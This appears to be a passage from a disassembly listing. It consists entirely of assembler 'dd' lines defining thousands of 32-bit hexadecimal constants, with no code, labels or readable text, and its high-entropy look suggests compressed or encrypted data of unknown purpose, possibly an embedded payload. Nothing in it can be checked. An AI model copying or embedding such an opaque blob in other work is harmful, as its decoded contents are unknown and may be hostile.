		dd 685E83C2h, 3AFE49h, 36FA95A6h, 0CD1E6F93h, 695DCE07h
		dd 500D458h, 31ED10h, 0CA162320h, 0AFDA0619h, 17339800h
		dd 0DB1BA3E5h, 0E3E40771h, 0A24D6395h, 8F6080CAh, 2200CC26h
		dd 9EE67E42h, 786E6407h, 0A16F0024h, 47552EE2h,	0CB01CCB9h
		dd 4937E54Bh, 2CC05DD7h, 0F60700EAh, 0A8FEE01Bh, 6071CE9h
		dd 0E1E87CB6h, 0B9E25FF0h, 0DA1B30A1h, 22870D58h, 69D20907h
		dd 0FC00B747h, 0E071122Ah, 0DCCF00AEh, 932D0BE3h, 0C9000829h
		dd 0AA039C52h, 0AB15AFh, 0AE131858h, 162F5DB5h,	828941Fh
		dd 4A060103h, 6EDA003Bh, 0F1DC42F9h, 0E8009C2Fh, 41328121h
		dd 0B84D6Bh, 4535BA7Ch,	0DD5CE2E7h, 0A40C8B00h,	0C5EA5583h
		dd 4F5300F5h, 19FCF9E1h
		dd 33D7D2Ch, 95D980D2h,	0F13AD3B0h, 87B4008Fh, 28C57055h
		dd 0AB0073D7h, 568EA937h, 0EB5281h, 4CF5F6C4h, 0AD4ED48h
		dd 2F07E37Fh, 102B1113h, 0A0B4F2F2h, 0D4702A94h, 7AF4A448h
		dd 0ADF939EFh, 4F4C4102h, 605766E3h, 4A54A3h, 0A757799Bh
		dd 2A533997h, 8381D73Bh, 0A9D04456h, 26E0096Ah,	7401CABEh
		dd 809DBACCh, 2C88E269h, 12B3BB1Eh, 5C6322h, 4E9BB468h
		dd 6E039076h, 4855EEE2h, 9F3CE01Ch, 1D8767Eh, 0F6D1DDF2h
		dd 40F14A3Dh, 0B014F8E0h, 0B9539400h, 7497192Fh, 3970042Dh
		dd 80CEF1A0h, 0DF22FC48h, 5ACC0507h, 0DA63FE47h, 729CA853h
		dd 80190058h, 0F8B60B25h, 9500FC8Dh, 0B47F7B21h, 694942h
		dd 3A079465h, 0BAF2F5D8h, 343CCB00h, 0F9D0771Ah, 0C0EF3BB3h
		dd 2D892180h, 45C8D367h, 0C7CAF400h, 0AF30E39Dh, 0FC7F0EC3h
		dd 1D21E29h, 0F912B9A4h, 5477606Eh, 0E8A87B07h,	0BE7061B6h
		dd 1770231Ch, 116A091h,	0F3BC5F48h, 126EC485h, 18A25924h
		dd 8C5AA540h, 0DBAC05B8h, 0C0E3B07Ch, 89A3C5B7h, 28AE2F00h
		dd 78D826Dh, 31E5002Eh,	0D6C28CCAh, 0A700189Dh,	37C6E94Fh
		dd 0FDBC00Dh, 55EA9AB2h, 0C2599940h, 0BA0A4E79h, 0D8E54002h
		dd 54960C02h, 61D4A0D6h, 247DB6F0h, 0FC3722h, 5D8511FFh
		dd 630F1867h, 20F304A3h, 38DF6D72h, 0B4F100B2h,	32A997D2h
		dd 0BA0030F7h, 361C86ECh, 6BE1F5h, 0A1F4BC15h, 8FDB0CA5h
		dd 3609E48h, 0B76CC7C2h, 221100EFh, 0C6D4A439h,	88005F69h
		dd 0F9641F8Bh, 0E0DB6654h, 0C31A3D45h, 7A511183h, 0E0008208h
		dd 64BB54A9h, 0C020DBh,	5DAD622h, 0A1DFD23h, 0F0286907h
		dd 0B1D095F1h, 96B84Eh,	50B04CB6h, 0C3C6A4Ah, 9A8C7F00h
		dd 0C4A1E52Dh, 990E0043h, 7AE0A523h, 137BD6B8h,	8A065703h
		dd 99666063h, 0C9E88083h, 0C5950020h, 0F6D75D64h, 23F4DE30h
		dd 7E44CC13h, 0A450200h, 0A728A5h, 0F52DA814h, 9CD5F06Bh
		dd 1B1D6400h, 9347A3Fh,	0C9610F86h, 0D3A0B893h,	45122313h
		dd 51F48F00h, 0F94BC5BDh, 7CEE0150h, 6FD7A739h,	0C6B2CCE1h
		dd 4501EC00h, 26629B3Ah, 6BAF2646h, 81B801B4h, 20DDC215h
		dd 0CA26B648h, 4680B4E9h, 0B5DEEA3Ch, 1400723h,	3451EDDh
		dd 0EBA8A2ABh, 5D004FB3h, 4892FE8h, 3B5E36FDh, 3BFF1432h
		dd 0BB82B069h, 13C0CB83h, 0F5BAA7C0h, 0A7005275h, 89AE6720h
		dd 0A6F857Fh, 0CB3EC2A8h, 1CF02DC0h, 0C04FF228h, 0DF63Dh
		dd 7C2A8A10h, 4AB6CBh, 6243EEDAh, 594E0704h, 21646305h
		dd 0A780783Ch, 471703h,	0A720A34Ah, 440C32Ah, 55628901h
		dd 0AA9D2480h, 8A9EC040h, 0BCA758E4h, 0F28C0078h, 59D74853h
		dd 0FF004FECh, 0F80CEF04h, 1EEE0EB7h, 0A69031F4h, 41F00E0Ch
		dd 6420E6C0h, 0A8CE4CCCh, 49010463h, 0CD7374D1h, 0CE805863h
		dd 0A58EB310h, 44B0CB00h, 0DF4E482Ah, 672303E5h, 0D56E52A6h
		dd 0EB1C1890h, 0E146D01Eh, 0C07EF9CFh, 535BE3D4h, 31F5001Dh
		dd 0F86821DAh, 0B50E704Eh, 6077204Fh, 489DAF35h, 1F80FC63h
		dd 5E65C664h, 0E114002Ah, 856E582Dh, 4AF91C0Fh,	0FBA5A0F7h
		dd 1E673EBCh, 41D60F16h, 0DC44515Fh, 0ED6C7053h, 9DE2D500h
		dd 7C4D7034h, 0B0A13F28h, 0A3746E8Bh, 0D16F100h, 810E9F19h
		dd 0E57A4E17h, 1E807926h, 0B82C2E42h, 890E00FCh, 22BF4866h
		dd 0F100F9B3h, 7B911C9Fh, 0EE67C4ABh, 28790Dh, 0E4C1742Ah
		dd 6890A976h, 0D31E6E00h, 39917BDh, 0F8847A9Ah,	0A15B1C0Bh
		dd 0CE048A0Dh, 407F02C3h, 37C30927h, 1DBCE7E0h,	0CF0070EAh
		dd 79D28E10h, 79EEC61Eh, 4F470025h, 345EAE07h, 0FA1F2AE3h
		dd 4540BC18h, 777BB13Dh, 0CAF6BAh, 2F164CD4h, 83F5A10Ch
		dd 0C9B5A002h, 8E3E54BBh, 16ABC08Dh, 7B178EDh, 26CE72F5h
		dd 0EB53835Eh, 5FC0CCF8h, 167B98A0h, 0C4238200h, 1A8FE902h
		dd 0D3C830BCh, 0A6212FE8h, 51BD6A26h, 7B013B04h, 0D3710680h
		dd 0CF8F068Dh, 184506C0h, 6B8A4201h, 65311103h,	0CC48ECh
		dd 8C9524ECh, 0BABC4149h, 7D671D07h, 0D4C0AA4Fh, 0A6F5A5h
		dd 800D42A8h, 9B79254Ch, 0D77F6801h, 216E8EDEh,	0FE75CC70h
		dd 0CF4A00B4h, 0C85C06D5h, 4B0013F4h, 0AC76FDAEh, 9D41D87h
		dd 50AA6E8Bh, 706D980h,	33FAB1BAh, 771F511Eh, 6500105Fh
		dd 0C4C6A836h, 812900FAh, 0C9164563h, 0BD3FB5h,	3A2431ABh
		dd 876C0097h, 1E5F70A8h, 78006439h, 0B6BAF0CDh,	7365E98h
		dd 0ADDD454h, 84D8E07Dh, 0C4A06106h, 300012A6h,	46982651h
		dd 0EB028Eh, 34409482h,	3D0A3E75h, 9205F700h, 0FCF001F3h
		dd 432200E3h, 0C7277F67h, 28B873ADh, 0FFAE960Eh, 8137C0F6h
		dd 1FEFDE94h, 9EF08520h, 450240E9h, 13B65593h, 37561800h
		dd 98615148h, 0D7F303B9h, 869F85EDh, 2A2DA5E0h,	99DCFB04h
		dd 5C800F24h, 7E5D2E11h, 52463A6Fh, 0C0879C1Dh,	0B321FC3Bh
		dd 0E00EF3Eh, 503C1DFFh, 5AAB06h, 0E0A9C6C1h, 0A06D0DA6h
		dd 0B37D2500h, 898590F5h, 1FC11CDFh, 1204097h, 8D3FAF27h
		dd 0A8A9DB00h, 6A0ADA0Eh, 0FEE6004Fh, 2DB7986Fh, 3900169Ch
		dd 4BA0CB0Bh, 26AF5Eh, 0E0CA11BAh, 0B7D32942h, 0CE7C0300h
		dd 91EDA148h, 35930039h, 30742536h, 0D903B9DCh,	0CD467561h
		dd 0B012987Dh, 0F36D50CFh, 0FC720051h, 0EFED0C2Ch, 4D009F41h
		dd 0A9EE56BAh, 60A843h,	0DD06B3DCh, 8763268Bh, 0B1E22000h
		dd 913D02Ah, 333F00DBh,	5BFBDE5Ah, 42016B5Dh, 0E63BD8F2h
		dd 38F4F4D0h, 0B83D00F3h, 0EFC31861h, 0A70EE8F7h, 81F6E0B0h
		dd 0A0453352h, 9D0820h,	2BAB6ACBh, 326B8F4Ch, 0BA114907h
		dd 0F7A2E844h, 0D844639Bh, 3F7D9AD6h, 0F9E64D7h, 75DF00D8h
		dd 0BD687F1Dh, 3FCCFE06h, 689B06h, 4BA362C7h, 0C3AB985Ch
		dd 3898367Ah, 8B5FE700h, 48FC7423h, 0B5D80F76h,	0D960F465h
		dd 19C26A5Bh, 0DA072BE8h, 0F97E37BDh, 88F000C9h, 67F34h
		dd 4B7C3EA9h, 419D0E44h, 7EAECB00h, 0F3CE6920h,	0FF1E0063h
		dd 0AAA81195h, 71002D96h, 66BDB88Bh, 7BC018E7h,	2349036Fh
		dd 69B8094h, 0B9903AC8h, 1960FE90h, 0CABD41E8h,	76D200C8h
		dd 77985EBBh, 0FA4CE20Ah, 0FCB01EF6h, 6CBF5F80h, 3E0D8A6h
		dd 462F9EEAh, 43C0E448h, 3B0B82F5h, 0A9B1B9h, 0C8046E83h
		dd 3864004Dh, 0BC0B3527h, 5490F1FDh, 2CFAE901h,	95E6FBCDh
		dd 0C94620h, 0A7CE576Fh, 7A676A50h, 814DAB1Eh, 0C69D600h
		dd 3C4C2E7h, 8F1BD1F1h,	80841E2Eh, 2B40DE0h, 290036E4h
		dd 983B688Dh, 386BE5E9h, 0BF00D2BDh, 0D8C2B19Dh, 5450C602h
		dd 79004784h, 1F06883Eh, 0F158D1ADh, 7D8AA9D0h,	0BD2B036Eh
		dd 44619998h, 30D095F1h, 2E059E94h, 1E34B5EFh, 28F7FC00h
		dd 88245273h, 0F89ACCC0h, 6CBD4Ch, 65224BB9h, 0A0781EFCh
		dd 394C8BDCh, 5B013896h, 61DE24B3h, 0E890A851h,	14033102h
		dd 87BDDCC2h, 0C4C1F9FCh, 28F4390Ah, 0BCA00121h, 236E01Bh
		dd 10D84780h, 2308E6B8h, 0A51890C7h, 0AA38F703h, 9828C0A8h
		dd 0D7C50194h, 0EB7F6CD0h, 30B820E8h, 997A4Ch, 0D4FEA565h
		dd 2BD2890h, 2EEE800Fh,	7E608BBCh, 0F2004922h, 66D3523Ah
		dd 5E80E8Ch, 0D54D3692h, 51E80FF3h, 0F596B142h,	0C522F100h
		dd 6EE32CE5h, 87D180F4h, 0CE2FD6AFh, 0A2706100h, 7F696543h
		dd 0EA5F06Eh, 993CDAEFh, 0F5C87360h, 0AA0017C5h, 490C354Bh
		dd 0A028BECBh, 405053E8h, 0DB00B9E2h, 0A557B532h, 23B1243h
		dd 0FB89FC7Bh, 0A4855505h
		dd 0C6BA80FDh, 0D307139Dh, 8C8E40D4h, 240BE3h, 1F686020h
		dd 0D75E44FCh, 129E1607h, 0AF40276Eh, 0A087F9C6h, 13A914D4h
		dd 0C7EED4Ch, 56C6CDD8h, 8D2FB701h, 69DA78E0h, 4D45180h
		dd 574D1797h, 9E0B7F0Eh, 0A4B3C78Ch, 0F043A0B1h, 6352C2CAh
		dd 0D09AE00Ch, 0F8F10022h, 59F21930h, 31740AA2h, 0F362691Eh
		dd 0A5757004h, 4F899CC0h, 0CEF7007Dh, 0ACC56C78h, 0A0B99C2Bh
		dd 0ACD1820Ah, 0AA38D000h, 9F7941Bh, 48A969BEh,	0FCC60381h
		dd 64E0C127h, 1B0E0DE4h, 81525B5Fh, 7A1A126Bh, 0E8FE34F5h
		dd 678AF8h, 0CE92F1Eh, 0DA3AAF58h, 1D598103h, 0CB36A770h
		dd 8D1CE949h, 0E980A054h, 308B3B6Ah, 0A160E15Bh, 10003360h
		dd 7A419122h, 0FF081CDh, 0E0728073h, 8CC04596h,	6C180088h
		dd 6A053159h, 5209D0E7h, 78A0F948h, 26EA517Ch, 0CAD39007h
		dd 13A0F1DFh, 98659B4Dh, 30BD01DCh, 31A172CDh, 20E1B7ADh
		dd 215CF334h, 6BE0EA07h, 3D9F2910h, 0ED03008Ch,	52120F13h
		dd 0CD0120DAh, 1FD5D83Ch, 989DA32Ch, 0ACB583F5h, 0A01D496Ch
		dd 970552F4h, 6400E172h, 876A22D4h, 0A493000Dh,	33593873h
		dd 350ED9AEh, 40125CEFh, 5E1486F4h, 3CA500D0h, 2099A80h
		dd 49005554h, 0AC475DE6h, 1E8BAB15h, 0C0D0AD56h, 1A5FE469h
		dd 32004408h, 0C765EFCEh, 395B1416h, 393ABA43h,	0C064D19Dh
		dd 4150763Ch, 1407BFD0h, 36CB599Eh, 6BBAFB0h, 0FEF00147h
		dd 84D9DB2Dh, 2E8B6049h, 25464000h, 0F0BD15DDh,	9D441613h
		dd 37CFC16h, 0BB0389C3h, 669986Bh, 0F5C5009Ah, 476EE129h
		dd 5E007D77h, 34440E66h, 949E6Ch, 8358A2FCh, 0D70917BAh
		dd 0A7F09A00h, 0DAA9A6E7h, 0A1CCA9CCh, 0CA84045Fh, 0CFACC8C9h
		dd 0ACD12400h, 105E2DFFh, 0DFD00E28h, 0E1077FD7h, 0E23C035h
		dd 0CB7C061Ch, 7948D97Ch, 39057C03h, 886FE045h,	20462C00h
		dd 0C2CE14E7h, 11262550h, 1B8C0329h, 0A28A699h,	3D08D1F4h
		dd 1C7A07ECh, 9AFCA052h, 16004B8Eh, 0BC869120h,	3153F264h
		dd 0F961A790h, 1B6041F1h, 0CD4F000Bh, 59B56087h, 0EC78A94Bh
		dd 2691F402h, 9B86AF9Bh, 108270h, 72C14F51h, 910CB998h
		dd 0E8F8E160h, 90E048A6h, 0CC36D70Fh, 26108580h, 0FE18A2DDh
		dd 9081EC2Ch, 9BD32BE5h, 0C460004Ch, 5D025E5Bh,	0A0AA0C3Ah
		dd 69F5263Eh, 94F314DEh, 1CE3968Eh, 0A8068C7Eh,	708FDC6Ah
		dd 0C2D43038h, 30504759h, 0FCA04E29h, 9D048874h, 10AC60D9h
		dd 28E53970h, 798F458h,	8F782F05h, 9FA5E49h, 6080E71Ch
		dd 0D988BFCh, 7FC5AE00h, 5F74BEACh, 0D49E0055h,	0B39CF53Eh
		dd 8800A225h, 66F4866h,	4BBEF9BAh, 1648407Ch, 53EA1374h
		dd 6063D905h, 9080ACF8h, 787C9F5Ah, 0DA71C7h, 0E19873D4h
		dd 9689BD2Ch, 0F54E3A00h, 648A8E21h, 0BE0600FEh, 0A77EA85Eh
		dd 8B0033F1h, 0B524FA93h, 0FD49125h, 0AE4AA994h, 11C4EBA0h
		dd 3B00628Dh, 68362A1Eh, 59E05415h, 6A009C75h, 951F2F86h
		dd 2707A8EEh, 0A519DAC8h, 0CE90F7C0h, 34CD0398h, 0D6228216h
		dd 7D804FB3h, 0B30E8174h, 4FBA7E20h, 4B916048h,	0FE6DF8ABh
		dd 0B4B88Eh, 0B78F8B86h, 8052C339h, 80B83F39h, 0AF5B72ECh
		dd 78E96Ah, 0B93422A3h,	0B7D0A9C7h, 0D3CC892h, 6D7F975Fh
		dd 0DC547040h, 0B8857F7h, 0DAD0C620h, 0E1656480h, 8430F166h
		dd 3A2B2905h, 270B03F7h, 0CF0463DDh, 0D54C0C4h,	0FCA89F55h
		dd 2100A06Ch, 448BAF79h, 34B7BABh, 7C38408Ch, 0EAE81028h
		dd 0E602652Ch, 0D5500DB0h, 9DEC87F2h, 60BC0720h, 719E00A6h
		dd 0E8798204h, 0F0149EDh, 2C0BB4Dh, 3BFCDC09h, 0BE6407D6h
		dd 8022320Bh, 0A0270F17h, 0AC021890h, 0BD462DA4h, 5CD8608Ah
		dd 6E1F0088h, 489293C0h, 0C20767F8h, 4F0269ACh,	50A232F0h
		dd 37991E17h, 712780ABh, 0A95FBD03h, 6B59A100h,	40F02D9Ch
		dd 2399003Bh, 0AF084F2Fh, 0B801F6E5h, 58967620h, 0FEC86404h
		dd 2EA4925Ah, 0AC42E24h, 4C43EDh, 7AB9D3EAh, 0CE3C7105h
		dd 0F15C24B7h, 5D00482Ch, 0E35A3A90h, 99A000DBh, 0D00B2825h
		dd 370B3810h, 800A93C9h, 2BE990E4h, 0C8CC50ACh,	0D97C09FBh
		dd 1500F94Eh, 0ED9D28D3h, 860EFC00h, 50604967h,	0BCB04F8Ch
		dd 54361D77h, 29D4CA55h, 49809832h, 5195E222h, 473AC04Ah
		dd 0B0836272h, 9556500h, 60E550CCh, 2492F6DAh, 310D481h
		dd 7C0A59B3h, 304036CAh, 0D40A082h, 26520043h, 2135E476h
		dd 0B375856Dh, 9C036200h, 81F1D6EFh, 6E46070Fh,	0C08BBA6Ah
		dd 0DEFD22EAh, 7E0015FEh, 0B5DF08CDh, 146A83Eh,	0DB06F119h
		dd 0ECB3DC71h, 0D803F7A6h, 788E66AEh, 89E82E16h, 462870h
		dd 0E772095h, 0A6F7306Ch, 8C0594B8h, 0EAC11659h, 79C3D6C3h
		dd 0D24BA9h, 0F5987E20h, 9B00ED0Bh, 0ACC0DBA6h,	3B71D04Ah
		dd 0FF805690h, 53420358h, 920CC2F7h, 0B6D80DD2h, 44B907FCh
		dd 0C06890FDh, 71C11E45h, 0DE75BB00h, 13EFE8E9h, 0BAE13CECh
		dd 5B03CA80h, 0AA2C3C44h, 0F5542901h, 0B3DD4847h, 7408A4h
		dd 0ED8DC22Bh, 0A2007319h, 620C2408h, 1CA7E8D8h, 15798Bh
		dd 0E974F2A1h, 3A497694h, 0FD880138h, 0D1524657h, 0D82470E1h
		dd 0A4B8F6h, 54C7A98Fh,	2A6166Fh, 81625F0Ch, 0E11024h
		dd 69C16E42h, 0FFE0B0A9h, 0EAC6800h, 79C44B87h,	887E39FCh
		dd 986F389Eh, 2C441875h, 94762309h, 3F28A174h, 68EA0106h
		dd 4CA3221Ch, 5603D95Eh, 843D90EEh, 211B92F8h, 94809B00h
		dd 17F5A957h, 3AEF0086h, 0F265822Eh, 4F0713ACh,	0F17C8BF3h
		dd 66B743C0h, 0D5D00097h, 0C92CF8C5h, 3800E67Eh, 2A1C85A5h
		dd 158A642h, 9BC06961h,	0BC845733h, 0CC1E8118h,	0E52B37CEh
		dd 68C7E0h, 1947C5Dh, 0C8AA8FC5h, 0B9BACD00h, 0F3FDDD72h
		dd 5ED1010Ch, 0F0654098h, 5E84036h, 431FD583h, 2F80C725h
		dd 2CAAEBA1h, 0A95C0091h, 56BE8E6Ah, 4200995Ah,	45F0886h
		dd 3A696h, 60F85D2Fh, 4F167181h, 0FA008578h, 0ECBDD6A9h
		dd 0F4D8638Ch, 95FB097Bh, 70803C39h, 4E182E42h,	0D00117Eh
		dd 0CA444698h, 59DB5A0h, 38BE27FDh, 3DB001DBh, 0E4D62899h
		dd 93005BD9h, 8CA72294h, 0E53D235h, 72E542D5h, 0A5170033h
		dd 0D1A02ABAh, 0D7396D00h, 70F94B04h, 0EA603DB7h, 0F3222C80h
		dd 12424783h, 841C7400h, 0DF68F2FCh, 95C639CCh,	0CAABA583h
		dd 90EFAE2Ah, 0A7B7E8F0h, 363CF600h, 0CC80D3ECh, 7DB00EDh
		dd 8F75F3B2h, 0B907F148h, 2E5A38Ah, 3CD0F30Eh, 2E21C5h
		dd 55457C23h, 0E575A88Fh, 8C9D6300h, 99CFB561h,	72A900B8h
		dd 97982DC9h, 0B6246FDAh, 2F165D14h, 0B8E7B091h, 0A1039C68h
		dd 0E5F6DCF3h, 0C861D7F0h, 0D855B400h, 526AB151h, 0E22B00BEh
		dd 0BA419444h, 67DE782h, 6C00F84Eh, 0DF0D4BDEh,	9D94A036h
		dd 0B0720115h, 201FF1D8h, 256834A2h, 3C64B9h, 69418922h
		dd 7442F127h, 25D2143Ch, 201410CBh, 0DB001CCAh,	0D849CCF8h
		dd 0C274CD10h, 321FEB15h, 88D3212Ch, 990142F9h,	0CFC25541h
		dd 0D2502828h, 6D7492h,	0F4DF211Eh, 81CD74A6h, 48582069h
		dd 30B946CCh, 74500803h, 0D60081ADh, 0F978A83Fh, 146A1630h
		dd 18668B82h, 0D0E27212h, 81C5768Ch, 7D74697Ch,	70914D30h
		dd 1F059Dh, 0F3E383DBh,	0B493414Ah, 0EA0AA100h,	88AEF419h
		dd 609C9637h, 8E91DD26h, 94C98200h, 884DCA19h, 2B1B3A42h
		dd 401D0078h, 28733574h, 0A00AAF8h, 76FE7BB5h, 1C30776Ah
		dd 80C33237h, 0F8BB5774h
		dd 41007010h, 794E916Ch, 0A847D44Ah, 25587E98h,	5C1D3934h
		dd 61FD0468h, 40FAC0CAh, 33D21EA8h, 2AD4ECA0h, 0D877200h
		dd 26841B09h, 3ACA019Bh, 1EF4378Bh, 2921DB77h, 0A6F8087Eh
		dd 4880CE90h, 0D45B7C9Fh, 44716242h, 2284E2A1h,	0F622AD88h
		dd 895CF271h, 0E55410D6h, 5E721E91h, 464AC02Dh,	0E8B8A007h
		dd 0A25A01FAh, 0D9544Fh, 0BCDB69F7h, 16F5A0Ah, 816DCF70h
		dd 62CEE8D0h, 1C2DC101h, 987451A4h, 0E32C4h, 2E16FDBDh
		dd 2B5BF56Ah, 0B9D45002h, 0D0672523h, 470A0058h, 27F5CD1Bh
		dd 0F827FF20h, 0A5E88E37h, 0C0978302h, 0A66F200Fh, 7AE2D9D6h
		dd 5B8CFA52h, 0BC4C0003h, 259A504Dh, 0AA276A1Dh, 0B322C140h
		dd 441BAh, 0F9172A2Dh, 1465C438h, 12562B1Dh, 3DC9B9C1h
		dd 430FFF6h, 288C5E0Dh,	63001D7Ch, 936B598Bh, 7C01B34Dh
		dd 901A00A7h, 662EF82Bh, 525FCAAFh, 0D60E73BCh,	1420F163h
		dd 2A1BF910h, 0C951961Fh, 0AE15EA45h, 54338C80h, 0F4500E0h
		dd 7D8578D7h, 0D50679D0h, 0FBBCB8CFh, 8D4B3C39h, 226B7880h
		dd 0D344F070h, 6AC9700h, 4FEA855Dh, 13D892ECh, 0F5EF3E6h
		dd 20210D88h, 87B58F7Eh, 89752108h, 0C55B8E10h,	38CF00B4h
		dd 43C0FDA4h, 2902F736h, 0A875BE0Eh, 2F7AE052h,	0C14600E6h
		dd 0EE4C3E06h, 2B0040B4h, 0BF198F96h, 0EE6DFCBEh, 840C00D6h
		dd 61ED4264h, 0C3000D95h, 0E12621A3h, 65902BEh,	0AD1A207Ah
		dd 9F0030FDh, 761B40D2h, 69787Eh, 581CF1C5h, 0FFD3E3E2h
		dd 4221D800h, 6554EF7Dh, 508E00A7h, 0B892B21Eh,	0BD000D5Ah
		dd 9ABB332h, 0C823EDh, 0CEC2A1CFh, 4D865501h, 918C7E00h
		dd 6887D6FFh, 0C4480794h, 207A19ABh, 0A833EBE0h, 0E602BCB4h
		dd 54A95BB8h, 6B1B80E8h, 0CD8172E1h, 610CC000h,	2C2EBE44h
		dd 2AA0121h, 5F07D874h,	406AF4D3h, 80013A32h, 1BE0C019h
		dd 68501ADh, 3103A5BAh,	0B3043870h, 0B120A086h,	15BE2h
		dd 798CFC98h, 0AA1F44B7h, 807C17F2h, 7E352D58h,	0F204A2F8h
		dd 0BCEFE8F7h, 1A6700D4h, 7614F648h, 0DF223Eh, 0ED086170h
		dd 0DC4A74h, 0A98CB7B3h, 54A7770Bh, 1D002AF4h, 0F497B470h
		dd 7CD4DAh, 24D0075Eh, 219C0DBEh, 22EB6600h, 57CACB13h
		dd 8487006Fh, 60E01056h, 0DC00030Ch, 3E720731h,	2382B5h
		dd 301D0614h, 0D61594Dh, 8C97E200h, 288603BBh, 2B660068h
		dd 30A1DB9Ah, 0D50FDCCAh, 439514C5h, 98CC2Fh, 5A88CF58h
		dd 0C30203BFh, 69000EEAh, 0B295EB0Fh, 3973575Dh, 0ED87375Ch
		dd 0A98921h, 0E1328472h, 9BBD5303h, 99C059B3h, 70816C0Eh
		dd 6DFBCD07h, 0E1B5D4D2h, 379FCA24h, 4A211200h,	0B8DE9310h
		dd 0F9D00022h, 13D303A9h, 0B8EE61CCh, 80466A3Bh, 357DA359h
		dd 2A16B4h, 8B6EDC49h, 0EB567B27h, 0B6220700h, 0C9C1EE4Bh
		dd 955900D2h, 8E8A70DBh, 61001664h, 5D55E2A2h, 0BC8642h
		dd 3A54CE9Bh, 135ED20Bh, 0F016F78h, 4F29CD8Fh, 43302B5Dh
		dd 311C0007h, 0A13B4034h, 0CE00B50Fh, 44CB293Ah, 1AC7E01h
		dd 9E0EDA03h, 0D4B61507h, 2B0E707Dh, 60FD87CEh,	0A0F4E44Bh
		dd 672A3DA7h, 15751Dh, 2FBAE5A8h, 0ED0766CAh, 10F6388Eh
		dd 8A8DFCE0h, 2B1C2EEFh, 80BD1D8Ch, 2963DB51h, 0DD0028C2h
		dd 0E4E38F60h, 5CB1A7h,	50C7F393h, 9A2C210Bh, 0B41C9B07h
		dd 25F0BB10h, 76CEF48h,	0DF8CF0A6h, 0CD72702Eh,	43005B31h
		dd 0C8078DC4h, 738EAF46h, 36E600A6h, 5E98B971h,	0C60FBC17h
		dd 3791AEh, 799D8AF8h, 7AB700D9h, 36256283h, 0CE01931Fh
		dd 4B3DEC13h, 0E4404582h, 0F2412352h, 35A0A0F9h, 4EFD1FA1h
		dd 0F1D3C057h, 1520E76Ch, 0D1903Ch, 1B5A7517h, 2C7307Bh
		dd 25505F01h, 5440C061h, 0B2121141h, 7C0504F8h,	0DAC07766h
		dd 7269273Ah, 98250522h, 80185AC9h, 59DC2851h, 3C7ADF00h
		dd 0EB30C1FEh, 0D0720Eh, 16E7B41Fh, 56727C6Ah, 15B82D09h
		dd 976A8054h, 0EE3AC4A5h, 5DEC0051h, 4FBB40B5h,	0F301C189h
		dd 7A107998h, 9CD05021h, 9AB300D9h, 5D583BDCh, 760017B8h
		dd 187E1E5Bh, 7556F91Fh, 0C25C3C35h, 4BF8A102h,	7C804C58h
		dd 8B919E1Fh, 0C2B38200h, 0A924517Fh, 0F488C0A4h, 5ED7866h
		dd 6104B600h, 0CBEEA5F0h, 0BE6201D7h, 1F669121h, 0A3D8CCCCh
		dd 7E8F4218h, 0CC1F238h, 7D912B92h, 46005A10h, 77E02C67h
		dd 0E29490h, 0C6EB0DEDh, 65CE4F9Ch, 20480BE6h, 273FB8h
		dd 0D561B106h, 0B5A32Ch, 45D1D459h, 0C749F0F3h,	8A1F8103h
		dd 0C85C6C83h, 0C09B11FDh, 0E8AB7270h, 0B77907C7h, 1AE11B03h
		dd 0F0B32130h, 213F240h, 5C4C6343h, 60600E34h, 0CEF08B07h
		dd 0A3D49E05h, 0A8004D0Fh, 3475BE5h, 0A5E200E0h, 48A95E16h
		dd 0F1F845BAh, 0BFE3FEC0h, 77CA9319h, 14BF875h,	925CE7DAh
		dd 308E6F98h, 2A006A4Ch, 8DF56CA7h, 10D1E2h, 7640ACC9h
		dd 0F3773AE4h, 7A2E2F00h, 33839253h, 0D67C0079h, 0F12B95BDh
		dd 0FA13C8CAh, 4700CE41h, 7EA850BAh, 0A62801C1h, 2C54DB38h
		dd 9BDFE0B9h, 396D7B1Fh, 579080BCh, 0C311B666h,	0B82B4C21h
		dd 42413780h, 0F1C2747h, 804015E2h, 0FBBAF32Ah,	5D8804A8h
		dd 0FF83525Bh, 0C0B0620Fh, 9B42C7BFh, 8094A22Ch, 60118574h
		dd 297D003Dh, 476CB148h, 360015A2h, 2E6E6FE1h, 0D75682h
		dd 8C8FEE5h, 65E89FDEh,	6CB2FD04h, 94D41944h, 37EE8EC0h
		dd 0A52900C8h, 0F1CD73E1h, 0A92C66C6h, 1A1308E6h, 0A828A700h
		dd 0D5EEF0h, 32EF6416h,	891B1466h, 41AF0A00h, 5AB001D0h
		dd 303400B3h, 965461F2h, 4A1E188Bh, 9B46A3DBh, 0C029FBh
		dd 7025856Bh, 891DDD80h, 0BD0E800h, 0D536C2AEh,	0AC1000C0h
		dd 38F661CEh, 0A9005F45h, 48803EA7h, 945D86h, 3979E44Ch
		dd 9EA51F03h, 13D7CE22h, 202CD301h, 70B531D0h, 684AB800h
		dd 0CE1BA85Ch, 0D5E10149h, 3C1A8E04h, 4A9080AEh, 1234EF56h
		dd 158400E6h, 0BAB64893h, 1C00E809h, 0A2B34E44h, 28B6A73h
		dd 0E9ABB538h, 194078E2h, 0C2F6899Ch, 34510109h, 956780F5h
		dd 2F3F7E3h, 8C298092h,	0C46056D8h, 0A4242802h,	5A00FA74h
		dd 155F6FF7h, 0E3B70E06h, 0CCEC3833h, 0C8024311h, 7C033B54h
		dd 6266C0DDh, 6BB00795h, 704101B3h, 30B5EF22h, 939D80C0h
		dd 0BF2FECh, 1F6DE9F9h,	0C3FDAE5h, 4077BB02h, 0C1F0B715h
		dd 31D8D10Ah, 1EBD1E62h, 0F273CF56h, 0CFE38AE0h, 3D1F2DB9h
		dd 21000546h, 7779A374h, 0F3F9007Ch, 0F04EA767h, 6E00CBD1h
		dd 4219D2D3h, 0A8E9FDh,	3E38A455h, 0C0BDC82Ch, 59AC400h
		dd 8B167F06h, 1CF87B30h, 1A1DCE6h, 8F101241h, 0E0BBC8F7h
		dd 0D855D700h, 0C4FC073Ah, 0C86190Dh, 308990EBh, 8500C683h
		dd 7DDD87B0h, 7A8F3D23h, 0B6BE3CD6h, 7BBDF600h,	657F24CBh
		dd 730B5103h, 0E0BA6E2Dh, 7D49941h, 3C71C0DDh, 44B66187h
		dd 0CC64CDA7h, 0F200C3E6h, 5D318B24h, 0CF12D3Fh, 0A33E0974h
		dd 0CA0088D8h, 1E04F548h, 50777AAh, 55A1B357h, 40D41FB4h
		dd 73C4B15Dh, 18003161h, 3B6D3A76h, 0EB04C56h, 35D396F2h
		dd 0C334009Eh, 47D7873Eh, 0A3F56E00h, 0F1386BACh, 7A8C00E8h
